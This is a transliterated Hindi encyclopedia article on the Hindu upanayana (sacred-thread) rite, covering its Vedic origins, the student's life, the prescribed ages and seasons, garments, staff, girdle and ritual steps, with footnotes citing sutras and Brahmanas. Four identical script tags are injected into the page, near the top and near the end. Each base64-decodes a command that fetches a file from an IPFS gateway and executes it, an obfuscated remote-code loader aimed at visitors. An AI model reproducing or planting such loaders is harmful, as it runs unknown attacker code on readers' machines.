उपनयन संस्कार

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
30px yah lekh pauranik granthoan athava manyataoan par adharit hai at: isamean varnit samagri ke vaijnanik praman hone ka ashvasan nahian diya ja sakata. vistar mean dekhean asvikaran

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|250px|upanayan
Upanayana

  • hindoo dharm sanskaroan mean upanayan sanskar dasham sanskar hai.
  • manushy jivan ke lie yah sanskar vishesh mahattvapoorn hai.
  • is sanskar ke anantar hi balak ke jivan mean bhautik tatha adhyatmik unnati ka marg prashast hota hai.
  • is sanskar mean vedarambh-sanskar ka bhi samavesh hai.
  • isi ko yajnopavit-sanskar bhi kahate haian. is sanskar mean vatuk ko gayatri mantr ki diksha di jati hai aur yajnopavit dharan karaya jata hai. visheshakar apani-apani shakha ke anusar vedadhyayan kiya jata hai.
  • yah sanskar brahman balak ka athavean varsh mean, kshatriy balak ka gyarahavean varsh mean aur vaishy balak ka barahavean varsh mean hota hai.
  • kanyaoan ko is sanskar ka adhikar nahian diya gaya hai.
  • keval vivah-sanskar hi unake liye dvijatv ke roop mean parinat karane vala sanskar mana gaya hai.

upanayan ka arth

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'upanayan' ka arth hai "pas ya sannikat le jana." kintu kisake pas le jana? sambhavat: arambh mean isaka tatpary tha "achary ke pas (shikshan ke lie) le jana." ho sakata hai; isaka tatpary raha ho navashishy ko vidyarthipan ki avastha tak pahuancha dena. kuchh grihyasootroan se aisa abhas mil jata hai, yatha hiranyakeshi.[1] ke anusar; tab guru bachche se yah kahalavata hai "maian brahmasootroan ko prapt ho gaya hooan. mujhe isake pas le chalie. savita devata dvara prerit mujhe brahmachari hone dijie."[2] manavagrahyasootr evan kathak. ne 'upanayan' ke sthan par 'upayan' shabd ka prayog kiya hai. kathak ke tikakar adityadarshan ne kaha hai ki upanay, upanayan, maunchibandhan, batukaran, vratabandh samanarthak haian.

udgam evan vikas

is sanskar ke udgam evan vikas ke vishay mean kuchh charcha ho jana avashyak hai, kyoanki yah sanskar sab sanskaroan mean ati mahattvapoorn mana gaya hai. upanayan sanskar ka mool bharatiy evan eerani hai, kyoanki prachin zoraanstrien (parasi) shastroan ke anusar pavitr mekhala adhovasan (luangi) ka sambandh adhunik parasiyoan se bhi hai. kintu is vishay mean ham pravesh nahian kareange. ham apane ko bharatiy sahity tak hi simit rakheange. rrigved[3] mean 'brahmachari' shabd aya hai.[4] 'upanayan' shabd do prakar se samajhaya ja sakata hai[5]
1. bachche ko achary ke sannikat le jana,
2. vah sanskar ya krity jisake dvara balak achary ke pas le jaya jata hai.
pahala arth arambhik hai, kintu kalantar mean jab vistarapoorvak yah krity kiya jane laga to doosara arth bhi prayukt ho gaya. apastambadharmasootr[6] ne doosara arth liya hai. usake anusar upanayan ek sanskar hai jo usake lie kiya jata hai, jo vidya sikhana chahata hai; "yah aisa sanskar hai jo vidya sikhane vale ko gayatri mantr sikhakar kiya jata hai." spasht hai, upanayan pramukhataya gayatri-upadesh (pavitr gayatri mantr ka upadesh) hai. is vishay mean jaiminiy[7] bhi drashtavy hai.[8]

upanayan sanskar ke lakshan

rrigved[9] se pata chalata hai ki grihyasootroan mean varnit upanayan sanskar ke kuchh lakshan us samay bhi vidit the.[10] vahaan ek yuvak ke saman yoop (bali-stambh) ki prashansa ki gayi hai;.."yahaan yuvak a raha hai, vah bhali bhaanti sajjit hai (yuvak mekhala dvara tatha yoop rashan dvara); vah, jab utpann hua, mahatta prapt karata hai; he chatur rrishiyoan, ap apane hridayoan mean devoan ke prati shraddha rakhate haian aur svasth vichar vale haian, ise oopar uthaie." yahaan "unnayanti" mean vahi dhatu hai, jo upanayan mean hai. bahut-se grihmasootroan ne is mantr ko uddhrit kiya hai, yatha- ashvalayan.[11], paraskar..[12] taittiriy sanhita[13] mean tin rrinoan ke varnan mean 'brahmachari' evan 'brahmachary' shabd aye haian- 'brahman jab janm leta hai to tin vargoan ke vyaktiyoan ka rrini hota hai; brahmachary mean rrishiyoan ke prati (rrini hota hai), yajn mean devoan ke prati tatha santati mean pitaroan ke prati; jisako putr hota hai, jo yajn karata hai aur jo brahmachari roop mean guru ke pas rahata hai, vah anrini ho jata hai."[14] upanayan evan brahmachary ke lakshanoan par prakash vedoan evan brahman sahity mean upalabdh ho jata hai. atharvaved[15] ka ek poora sookt brahmachari (vaidik chhatr) evan brahmachary ke vishay mean atishayokti ki prashansa se poorn hai.[16]

brahmachary-jivan

taittiriy brahman[17] mean bharadvaj ke vishay mean ek gatha hai, jisamean kaha gaya hai ki bharadvaj apani ayu ke tin bhagoan (75 varshoan) tak brahmachari rahe. unase indr ne kaha tha ki unhoanne itane varshoan tak vedoan ke bahut hi kam aansh (3 parvatoan ki dheri mean se 3 mutthiyaan) sikhe haian, kyoanki ved to asim haian. manu ke putr nabhanedishth ki gatha se pata chalata hai ki ve apane guru ke yahaan brahmachari roop se rahate the, tabhi unhean pita ki sampatti ka koee bhag nahian mila.[18] grihyasootroan mean varnit brahmachary-jivan ke vishay mean shatapath-brahman[19] mean bhi bahut-kuchh prapt hota haian, jo bahut hi sankshep mean yoan hai- balak kahata hai- 'maian brahmachary ke lie aya hooan' aur mujhe brahmachari ho jane dijie.' guru poochhata hai- 'tumhara nam kya hai?' tab guru (achary) use pas mean le leta hai,(up nayati). tab guru bachche ka hath pak d leta hai aur kahata hai- 'tum indr ke brahmachari ho, agni tumhare guru haian, maian tumhara guru hooan" (yahaan par guru usaka nam lekar sambodhit karata hai). 'tab vah balak ko bhootoan ko de deta haian, arthath bhautik tattvoan mean niyojit kar deta hai. guru shiksha deta hai 'jal pio, kam karo (guru ke ghar mean), agni mean samidha dalo, (din mean) n soo.' vah savitri mantr duharata hai. pahale bachche ke ane ke ek varsh uparant savitri ka path hota tha, phir 6 masoan, 24 dinoan, 12 dinoan, 3 dinoan ke uparant. kintu brahman bachche ke lie upanayan ke din hi path kiya jata tha, pahale pratyek pad alag-alag phir adha aur tab poora mantr duharaya jata tha. brahmachari ho jane par madhu khana varjit ho jata tha.[20]

shatapath brahman[21] evan taittiriyopanishad[22] mean 'antevasi'[23] shabd aya hai. shatapathabrahman[24] ka kathan hai "jo brahmachary grahanh karata hai, vah lambe samay ki yajnavadhi grahan karata hai." gopath brahman[25], baudhayanadharmasootr[26] adi mean bhi brahmachary-jivan ki or sanket milata hai. parikshit janamejay hansoan (ahavaniy evan dakshin namak agniyoan) se poochhatean haian- pavitr kya hai? to ve donoan uttar dete haian- brahmachary (pavitr) hai.[27] gopath brahman[28] ke anusar sabhi vedoan ke poorn pandity ke lie 48 varsh ka chhatr-jivan avashyak hai. at: pratyek ved ke lie 12 varsh ki avadhi nishchit si thi. brahmachari ki bhiksha-vritti, usake saral jivan adi par gopathabrahman prabhoot prakash dalata hai.[29] uparyukt vivechan se jnat hota hai ki arambhik kal mean upanayan apekshakrit paryapt saral tha. bhavi vidyarthi samidha kashth ke sath (hath mean liye hue) guru ke pas ata tha aur unase apani abhikaanksha prakat kar brahmachari roop mean unake sath hi rahane dene ki prarthana karata tha. grihyasootroan mean varnit kiya-sanskar pahale nahian prachalit the. kathopanishad[30], mundakopanishad[31], chhandogy upanishad[32] evan any upanishadoan mean brahmachary shabd ka prayog hua hai. chhandogy evan brihadaranyakopanishad sambhavat: sabase prachin upanishad haian. ye donoan moolyavan vrittant upasthit karati hai. upanishadoan ke kal mean hi kuchh krity avashy prachalit the, jaisa ki chhandogy upanishad[33] se jnat hota hai.[34] jab prachinashal aupamanyav evan any char vidyarthi apane hathoan mean samidha lekar ashvapati kekay ke pas pahuanche to ve (ashvapati) unase bina unayan ki kriyaean kiye hi batean karane lage. jab satyakam jabal ne apane gotr ka sachcha parichay de diya to gautam haridrumat ne kaha-"he pyare bachche, jao samidha le ao, maian tumhean dikshit karooanga. tum saty se hate nahian".[35] [36]

brahmachary ashram

ati prachin kal mean sambhavat: pita hi apane putr ko padhata tha.[37] kintu taittiriyasanhita evan brahmanoan ke kaloan se pata chalata hai ki chhatr sadharanat: guru ke pas jate the aur usake yahaan rahate the. uddalak aruni ne, jo svayan brahmachari evan pahuanche hue darshanik the, apane putr shvetaketu ko brahmachari roop se vedadhyayan ke lie guru ke pas jane ko prerit kiya.[38] chhandogyopanishad mean brahmacharyashram ka bhi varnan hua hai, jahaan par vidyarthi (brahmachari) apane antim din tak gurugeh mean rahakar sharir ko sukhata raha hai[39], yahaan par naishthik brahmachari ki or sanket hai. is upanishad mean gotr-nam[40], bhiksha-vritti[41], agni-raksha[42], pashu-palan[43] ka bhi varnan hai. upanayan karane ki avastha par aupanishadik prakash nahian prapt hota, yadyapi hamean yah jnat hai ki shvetaketu ne jab brahmachary dharan kiya to unaki avastha 12 varsh ki thi. sadharanat: vidyarthi-jivan 12 varsh ka tha[44], yadyapi indr ke brahmachary ki avadhi 101 varsh ki thi.[45] ek sthan par chhandogyopanishad[46] ne jivanaparyant brahmachary ki charcha ki hai.

ab ham sootroan evan smritiyoan mean varnit upanayanasanskar ka varnan kareange. is vishay mean ek bat smaraniy hai ki is sanskar se sambandhit sabhi batean sabhi smritiyoan mean nahian payi jatian aur n unamean vividh vishayoan ka ek anukram mean varnan hi paya jata hai. itana hi nahian, vaidik mantroan ke prayog ke vishay mean sabhi sootr ekamat nahian haian. ab ham kram se upanayan sanskar ke vividh roopoan par prakash daleange.

upanayan ke lie uchit avastha evan kal

thumb|250px|ved path ashvanlayanagrihyasootr[47] ke mat se brahmanakumar ka upanayan garbhadhan ya janm se lekar athavean varsh mean, kshatriy ka 11vean varsh mean evan vaishy ka 12vean varsh mean hona chahie; yahi nahian, kram se 16vean, 22vean evan 24vean varsh tak bhi upanayan ka samay bana rahata hai.[48] apastamb[49], shaankhayan[50], baudhayan[51], bharadvaj[52] evan gobhil[53] grihyasootr tatha yajnavalky[54], apastambadharmasootr[55] spasht kahate haian ki varshoan ki ganana garbhadhan se honi chahie. yahi bat mahabhashy mean bhi hai. paraskaragrihyasootr[56] ke mat se upanayan garbhadhan ya janm se athavean varsh mean hona chahie, kintu is vishay mean kuladharm ka palan bhi karana chahie. yajnavalky[57] ne bhi kuladharm ki bat chalayi hai. shaankhayanagrihyasootr[58] ne garbhadhan se 8vaan ya 10vaan varsh, manav[59] ne 7vaan ya 9vaan varsh, kathak[60] ne tinoan varnoan ke lie kram se 7vaan, 9vaan evan 11vaan varsh svikrit kiya hai; kintu yah chhoot keval kram se adhyatmik, sainik evan dhan-sangrah ki mahatta ke lie hi di gayi hai. adhyatmikata, lambi ay evan dhan ki abhikaanksha vale brahman pita ke lie putr ka upanayan garbhadhan se 5vean, 8vean evan 9vean varsh mean bhi kiya ja sakata hai.[61] apastambadharmasootr[62] evan baudhayan grihyasootr'[63] ne adhyatmik mahatta, lambi ayu, dipti, paryapt bhojan, sharirik bal evan pashu ke lie kram se 7vaan, 8vaan, 9vaan, 10vaan, 11vaan evan 12vaan varsh svikrit kiya hai. at: janm se 8vaan, 11vaan evan 12vaan varsh kram se brahman, kshatriy evan vaishy ke lie pramukh samay mana jata raha hai. 5vean varsh se 11vean varsh tak brahmanoan ke lie gaun, 9vean varsh se 16 varsh tak kshatriyoan ke lie gaun mana jata raha hai. brahmanoan ke lie 12vean se 16vean tak gaunatar kal tatha 16vean ke uparant gauannatam kal mana gaya hai.[64] apastambagrihyasootr evan apastambadharmasootr[65], hiranyakeshigrihyasootr[66] evan vaikhanas ke mat se tinoan varnoan ke lie kram se shubh muhoort p date haian vasant, grishm evan sharadh ke din. bharadvaj[67] ke anusar vasant brahman ke lie, grishm ya hemant kshatriy ke lie, sharadh vaishy ke lie, varsha badhee ke lie ya shishir sabhi ke lie many hai. bharadvaj ne vahian yah bhi kaha hai ki upanayan mas ke shuklapaksh mean kisi shubh nakshatr mean, bharasak purush nakshatr mean karana chahie.

kalantar ke dharmashastrakaroan ne upanayan ke lie masoan, tithiyoan evan dinoan ke vishay mean jyotish-sambandhi vidhan b de vistar ke sath diye haian, jin par likhana yahaan uchit evan avashyak nahian jan p dataan kintu tho da-bahut likh dena avashyak hai, kyoanki ajakal ye hi vidhan many haian. vriddhagargy ne likha hai ki magh se lekar chh: mas upanayan ke lie upayukt haian, kintu any logoan ne magh se lekar paanch mas hi upayukt thaharaye haian. pratham, chauthi, satavian, athavian, navian, terahavian, chaudahavian, poornamasi evan amavas ki tithiyaan bahudha chho d di jati haian. jab shukr soory ke bahut pas ho aur dekha n ja sake, jab soory rashi ke pratham aansh mean ho, anadhyay ke dinoan mean tatha galagrah mean upanayan nahian karana chahie.[68] brihaspati, shukr, mangal evan budh kram se rrigved evan any vedoan ke devata mane jate haian. at: in vedoan ke adhyayanakartaoan ka unake devoan ke varoan mean hi upanayan hona chahie. saptah mean budh, brihaspati evan shukr sarvottam din haian, ravivar madhyam tatha somavar bahut kam yogy hai. kintu mangal evan shanivar nishiddh mane jate haian (samaved ke chhatroan evan kshatriyoan ke lie mangal many hai). nakshatroan mean hast, chitra, svati, pushy, ghanishtha, ashvini, mrigashira, punarvasu, shravan evan ravati achchhe mane jate haian vishisht ved valoan ke lie nakshatr-sambandhi any niyamoan ki charcha yahaan nahian ki ja rahi hai. ek niyam yah hai ki bharani, krittika, magha, vishakha, jyeshtha, shatataraka ko chho dakar sabhi any nakshatr sabake lie achchhe haian. l dake ki kundali ke lie chandr evan brihaspati jyotish-roop se shaktishali hone chahie. brihaspati ka sambandh jnan evan sukh se hai, at: upanayan ke lie usaki param mahatta gayi gayi hai. yadi brihaspati evan shukr n dikhaee p dean to upanayan nahian kiya ja sakata. any jyotish-sambandhi niyamoan ka udghatan yahaan sthanabhav ke karan nahian kiya jayaga.

vastr

  • brahmachari do vastr dharan karata tha, jinamean ek adhobhag ke lie (vasash) aur doosara oopari bhag ke lie (uttariy).
  • apastambadharmasootr[69] ke anusar brahman, kshatriy evan vaishy brahmachari ke lie vastr kram se patua ke soot ka, sanh ke soot ka evan mrigacharm ka hota tha.
  • kuchh dharmashastrakaroan ke mat se adhobhag ka vastr rooee ke soot ka (brahmanoan ke lie lal rang, kshatriyoan ke lie majith rang evan vaishyoan ke lie haldi rang) hona chahiean vastr ke vishay mean bahut matabhed haian.[70]
  • apastambadharmasootr[71] ne sabhi varnoan ke lie bhe d ka charm (uttariy ke lie) ya kambal vikalp roop se svikar kar liya hai.
  • adhobhag ya oopari bhag ke paridhan ke vishay mean brahman-granthoan mean bhi sanket milata hai.[72] jo vaidik jnan badhana chahe usake adhovastr evan uttariy mrigacharm ke, jo sainik shakti chahe usake lie rooee ka vastr aur jo donoan chahe vah donoan prakar ke vastroan ka upayog kare.[73]

dand

dand kis vriksh ka banaya jay, is vishay mean bhi bahut matabhed raha hai. ashvalayanagrihyasootr[74] ke mat se brahman, kshatriy evan vaishy ke lie kram se palash, udumbar evan bilv ka dand hona chahie, ya koee bhi varn unamean se kisi ek ka dand bana sakata hai. apastambagrihy sootr[75] ke anusar brahman kshatriy evan vaishy ke lie kram se palash nyagrodh ki shakha (jisaka nichala bhag dand ka oopari bhag mana jay) evan badar ya udumbar ka dand hona chahie. yahi bat apastambadharmasootr[76] mean bhi payi jati hai. isi prakar bahut se mat haian jinaka udghatan anavashyak hai.[77] poorvakal mean sahare ke lie, achary ke pashuoan ko niyantran mean rakhane ke lie, ratri mean jane par suraksha ke lie evan nadi mean pravesh karate samay pathapradarshan ke lie dand ki avashyakata p dati thi.[78]

balak ke varn ke anusar dand ki lambaee mean antar tha. ashvalayanagrihyasootr[79], gautam[80], vasishthadharmasootr[81], paraskaragrihyasootr[82], manu[83] ke matoan se brahman kshatriy evan vaishv ka dand kram se sir tak, mastak tak evan nak tak lamba hona chahie. shaankhayanagrihyasootr[84] ne is anukram ko ulat diya hai, arthath isake anusar brahman ka dand sabase chhota evan vaishy ka sabase b da hona chahie. gautam[85] ka kahana hai ki dand ghuna hua nahian hona chahie. usaki chhal lagi rahani chahie, oopari bhag tedha hona chahie. kintu manu[86] ke anusar dand sidha, sundar evan agnisparsh se rahit hona chahie. shaankhayanagrihyasootr[87] ke anusar brahmachari ko chahie ki vah kisi ko apane evan dand ke bich se nikalane n de, yadi dand, mekhala evan yajnopavit toot jayean to use prayashchitt karana chahie (vaisa hi jaisa ki vivah ke samay varayatra ka rath tootane par kiya jata hai). brahmachary ke ant mean yajnopavit, dand, mekhala evan mrigacharm ko jal mean tyag dena chahie. aisa karate samay varun ke mantr[88] ka path karana chahie ya keval 'omh' ka uchcharan karana chahie.[89] manu[90] evan vishnudharmasootr[91] ne bhi yahi bat kahi hai.

mekhala

gautam[92], ashvalayanagrihyasootr[93], baudhayanagrihyasootr[94], manu[95], kathakagrihyasootr[96], bharadvajagrihasootr[97] tatha any logoan ke mat se brahman, kshatriy evan vaishy bachche ke lie kram se munj, moorva (jisase pratyancha banati hai) evan patua ki mekhala (karadhani) honi chahie. manu[98] ne paraskaragrihyasootr evan apastambadharmasootr[99] [100] ki bhaanti hi niyam kahe haian kintu vikalp se kaha hai ki kshatriyoan ke lie mooanj tatha loh se guanthi huee ho sakati hai tatha vaishyoan ke lie soot ka dhaga ya jue ki rassi ya tamal (san) ki chhal ka dhaga ho sakata hai. baudhayanagrihyasootr[101] ne mooanj ki mekhala sabake lie many kahi hai. mekhala mean kitani gaanthe honi chahie, yah praveroan ki sankhya par nirbhar hai.

upanayan-vidhi

ashvalayanagrihyasootr mean upanayan sanskar ka sankshipt vivaran diya hua hai, jo pathaniy hai. sthanabhav ke karan vah varnan yahaan upasthit nahian kiya ja raha hai. upanayan-vidhi ka vistar apastambagrihyasootr, hiranyakeshigrihyasootr evan gobhilagrihyasootr mean paya jata hai. kuchh batean yahaan di ja rahi haian, jisase mataiky evan matantar par kuchh prakash p d jay. ashvalayan evan apastamb tatha kuchh any sootrakaroan ne janeoo ke bare mean kuchh bhi nahian likha hai, kintu hiranyakeshi[102], bharadvajagrihasootr[103] evan manavagrihasootr[104] ne hog ke poorv yajnopavit dharan karana batalaya hai. baudhayanagrihasootr[105] ka kahana hai ki yajnopavit pane ke uparant hi batuk "yajnopavitan paraman pavitran prajapateryatsahajan purastath. ayushyamagryan pratimunch shubhran yajnopavitan balamastu tej:॥" namak ati prasiddh mantr ka uchcharan karata hai, pavitr janeoo ko "yajnopavitamh" mantr ke sath tatha krishna mrigacharm ko "mitrasy chakshu:" kahakar deta hai. yahi bat sanskaratattv[106] mean bhi payi jati hai. sanskararatnamala ne hom ke poorv yajnopavit pahanane ko kaha hai. yajnopavit ke udgam evan vikas ke vishay mean ham age padhege. is avasar par dharmashastrakaroan ne chaulakarm kar lene ko kaha hai. arambhik kal mean chaulakarm svayan achary karata tha. nimnalikhit vidhiyaan bhi dhyan dene yogy haian—
(k) apastambagrihyasootr[107], manavagrihasootr[108], baudhayan[109], khadir.[110] evan bharadvajagrihasootr[111] ne batuk ko hom ke uparant agni ke uttar dahine pair se prastar par chadhane ko kaha hai. prastar par pair rakhana dridh nishchay ka dyotak hai.
(kh) manavagrihasootr[112] evan khadir.[113] ne hom ke uparant "dadhikravno akarishamh"[114] mantr ko duharate hue dadhi tin bar khane ko kaha hai.
(g) paraskaragrihyasootr[115], bharadvaj[116], apastambagrihasootr[117], apastamb-mantrapath[118], baudhayanagrihasootr[119], manavagrihasootr[120] evan khadir.[121] ke mat se batuk se achary usaka nam poochhata hai aur vah batata hai. achary usase yah bhi poochhata hai "tum kisake brahmachari ho?" sabhi smritiyoan mean yah bat payi jati hai ki upanayan tinoan varnoan mean hota tha. upanayan-vidhi ke vishay mean bahut se bhed-vibhed haian, jinaki charcha karana yahaan anavashriyak hai. kalantar ke lekhakoan ne mantroan ko jo d-jo dakar vistar badha diya hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. REDIRECT saancha:tippanisoochi
  1. ↑ hiranyakeshi., 1.5.2
  2. ↑ athainamabhivyaharayati. brahmacharyamagamup ma nayasv brahmachari bhavani deven savitra prasoot:. hiranyakeshi. (1.5.2); brahmacharyamagamiti vachayati brahmacharyasaniti ch. par. 2.2; aur dekhie gobhil. (2.10.21). "brahmacharyamagamh" evan "brahmacharyasani" shatapath. (11.5.4.1) mean bhi aye haian; aur dekhie apastambiy mantrapath (2.3.26) "brahmachary... prasoot:." yajnavalky (1.14) ki vyakhya mean vishvaroop ne likha hai- "vedadhyayanayachary samipe nayanamupanayanan tadevopanayanamityuktan chhandonurodhath. tadarth va karm." hiranyakeshi. (1.1.1) par matridatt ko bhi dekhie.
  3. ↑ rrigved, 10.109.5
  4. ↑ brahmachari charati vevishadh vish: s devanaan bhavatyekamangamh. ten jayamanvavindadh brihaspati: somen nitaan juhv n deva:॥ rrigved 10.109.5; atharvaved 5.17.5. som ki or sanket se rrigved (10.85.45) ka 'somo dadadh gandharvay' smaran ho ata hai. kisi manaviy var se parinay hone ke poorv pratyek kumari som, gandharv evan agni ke rakshan ke bhitar kalpit mani gayi hai.
  5. ↑ tatropanayanashabd: karmanamadheyamh..... tachch yaugikamudh bhidnyayath. yogashch bhavavyutpatya karanavyutpattya vetyah bharuchi:. s yatha- upasamipe acharyadinaan batornayanan prapanamupanayanamh. samipe acharyadinaan niyate baturyen tadupanayanamiti va.... tatr ch bhavayutpattirev sadhiyasiti gamyate. shrautarthavidhisanbhavath. sanskaraprakash, pri0 334.
  6. ↑ apastambadharmasootr, 1.1.1.19
  7. ↑ jaiminiy , 6.1.35
  8. ↑ sanskarasy tadarthatvadh vidyayaan purushashruti:. jaimini 6.1.35; 'vidyayamebaisha shruti: (vasante brahmanamupanayit). upanayanasy sanskarasy tadarthatvath. vidyarthamupadhyayasy samipamaniyate nadrishtarth napi kant kudayan va katumh. drishtarthamev saisha vidyayaan purushashruti:. kathamavagabhyate. acharyakaranametadavagabhyate. kut:. atmanepadadarshanath.' shabar.
  9. ↑ rrigved, 3.8.4
  10. ↑ yuva suvasa: parivit agath s u shreyanbhabati jayaman:. tan dhiras: kavay unnayanti svadhyo manasa devayant:॥ rrigved, 3.8.4; ashvalayanagrihyasootr (1.19.8) ke anusar bachche ko alankrit kiya jata hai aur naye vastr diye jate haian 'alankritan kumaran... ahaten vasasa sanvitan' ... adi; evan dekhie 1.20.8--'yuva suvasa: parivit agadityarshrarbenainan pradakshinamavartayeth.'
  11. ↑ ashvalayan, 1.20.8
  12. ↑ paraskar., 2.2
  13. ↑ taittiriy sanhita, 3.10.5
  14. ↑ jnayamano h vai brahmanastribhirhrrinavaan jayate brahmacharyen rrishibhyo yajnen devebhy: prajaya pitribhy esh va anrino y: putri yajva brahmacharivasi. taittiriy sanhita 6.3.10.5 .
  15. ↑ atharvaved, 11.7.1-26
  16. ↑ brahmacharishnanshcharati rodasi ubhe tasmindeva: sanmanaso bhavanti. s dadhar prithivian divan ch s achary tapasa piparti ॥ atharvaved 11.7... gopath brahman (2.1) mean yah shlok vyakhyayit hai. achary upanayamano brahmacharinan krinute garbhamant:. atharvaved 11.7.3; yahi bhavana apastambadharmasootr (1.1.1.16-18) mean bhi payi jati hai, yatha- s hi vidyatastan janayati. tachchhreshthan janm. sharir mev matapitarau janayat:. shatapath brahman (11.5.4.12) se milaie- acharyoan garbhibhavati hastamashram dakshinamh. tritiyasyaan s jayate savitrya sah brahman:॥ brahmacharyeti sabhisha samiddh: karshn vasano dikshito dirghashmashru:. atharvaved 11.7.6.
  17. ↑ taittiriy brahman, 3.10.11
  18. ↑ aitarey brahman 22.9 evan taittiriy brahman 3.1.9.15
  19. ↑ shatapath-brahman, 11.5.4
  20. ↑ shatapathabrahman 11.5.4.1-17
  21. ↑ shatapathabrahman, 5.1.5.17
  22. ↑ taittiriyopanishad, 1.11
  23. ↑ shatapathabrahman 11.5.4.1-17
  24. ↑ shatapathabrahman, 11.3.3.2
  25. ↑ gopathabrahman, 2.3
  26. ↑ baudhayanadharmasootr, 1.2.53
  27. ↑ gopath brahman 2.5
  28. ↑ gopath brahman, 2.5
  29. ↑ gopathabrahman 2.7
  30. ↑ kathopanishad, 1.1.15
  31. ↑ mundakopanishad, 2.1.7
  32. ↑ chhandogy upanishad, 6.1.1
  33. ↑ chhandogy upanishad, 5.11.7
  34. ↑ dirdhasatran va esh apaiti yo brahmacharyamupaiti. shatapath0 11.3.3.2. baudhayanadharmasootr (1.2.52) mean bhi yah uddhrit hai. "apoashan" shabd ka bhojan karane ke poorv evan ant mean "amritopastaranamasi svaha" evan "amritapidhanamasi svaha" namak shabdoan ke sath jalachaman ki or sanket hai. dekhie sanskaratattv pri0 893. ye donoan mantr apastambiy mantrapath (2.10.3-4) mean aye haian.
  35. ↑ chhandogy upanishad 4.4.5
  36. ↑ te h samitpanay: poorvahle pratichakamire tanhanupaniyaivaitaduvach. chhandogy upanishad 5.2.7; samidhan sobhyaharop tva neshye n satyadaga iti. chhandogy upanishad 4.4.5; upaimyahan bhavantamiti vacha h smaiv poorv upayanti s hopayanakirtyovas. brihadaranyakopanishad 6.2.7.
  37. ↑ dekhie brih0 u0 6.2.1 "anushishto nvasi pitretyomiti hovach." yajnavakl (1.15) ki tika mean vishvaroop ne likha hai- gurugrahanan tu mukhyan pituyapanetritvamiti. tatha ch shruti:. tasmatputramanu shishtan lokyamahuriti. acharyopanayanan tu brahmanasyanukalp:.
  38. ↑ shvetaketurharuney as tan h pitovach shvetavach shvetaketo vas brahmachary... s h dvadashavarsh upety chaturvishativarsh: sarvanvedanadhity mahamana anoochanamani stabdh eyay tan h pitovach shvetaketo... ut tamadeshamaprakshy: yenashrutan shrutan bhavati. chhandogy upanishad 6.1.1.1-2.
  39. ↑ chhandogy upanishad 2.23.1
  40. ↑ chhandogy upanishad, 4.4.4
  41. ↑ chhandogy upanishad, 4.3.5
  42. ↑ chhandogy upanishad, 4.10.1-2
  43. ↑ chhandogy upanishad, 4.4.5
  44. ↑ chhandogy upanishad, 2.23.1, 4.10.1 tatha 6.1.2
  45. ↑ chhandogy upanishad, 8.2.3
  46. ↑ chhandogy upanishad, 2.23.1
  47. ↑ ashvanlayanagrihyasootr, 1.19.1-6
  48. ↑ ashtame varshe brahmanamupanayeth. garbhashtame va. ekadashe kshatriyamh. dvadashe vaishyamh. a shodashadh brahmanasyanatit: kal:. a dvarvishatkshatriyasy. a chaturvianshadvaishyasy. ashvalayanagrihyasootr 1.19.1-6.
  49. ↑ apastamb, 10.2
  50. ↑ shaankhayan, 2.1
  51. ↑ baudhayan, 2.5.2
  52. ↑ bharadvaj, 1.1
  53. ↑ gobhil, 2.10
  54. ↑ grihyasootr tatha yajnavalky, 1.14
  55. ↑ apastambadharmasootr, 1.1.1.19
  56. ↑ paraskaragrihyasootr, 2.2
  57. ↑ yajnavalky, 1.14
  58. ↑ shaankhayanagrihyasootr, 2.1.1
  59. ↑ manavagrihasootr, 1.22.1
  60. ↑ kathak, 41.1-3
  61. ↑ vaikhanas 3.3
  62. ↑ apastambadharmasootr, 41.1.1.21
  63. ↑ baudhayan grihyasootr, 2.5
  64. ↑ dekhie sanskaraprakash, pri0 342
  65. ↑ apastambagrihyasootr evan apastambadharmasootr, 1.1.1.19
  66. ↑ hiranyakeshigrihyasootr, 1.1
  67. ↑ bharadvaj, 1.1
  68. ↑ nashte chandreastage shukre niranshe chaiv bhaskare. kartavyabhaupanayanan nanadhyaye galagrihe॥... trayodashichatushkan tu saptabhyaditrayan tatha. chaturshyekadashi prokta ashtavete galagraha:॥ smritichandrika, jild 1, pri0 27.
  69. ↑ apastambadharmasootr, 1.1.2.39-9.1.3.1-2
  70. ↑ vas:. shanikshaumajinani. kashayan chaike vastramupadishanti. maanjishthan rajanyasy. haridran veshyasy. apastambadharm 1.1.2.39-41-1.1.3.1-2; shuklamahatan vaso brahmanasy, maanjishthan kshatriyasy. haridran kausheyan va vaishyast. sarveshaan va tantavamaraktamh. vasishthadharmasootr 11.64-67. dekhie paraskar (2.5)- aineyamajinamuttariyan brahmanasy rauravan rajanyasyajan gavyan va vaishyasy sarveshaan va gavyamasati pradhanatvath.
  71. ↑ apastambadharmasootr, 1.1.3.7-8
  72. ↑ apastambadharmasootr 1.1.3.9
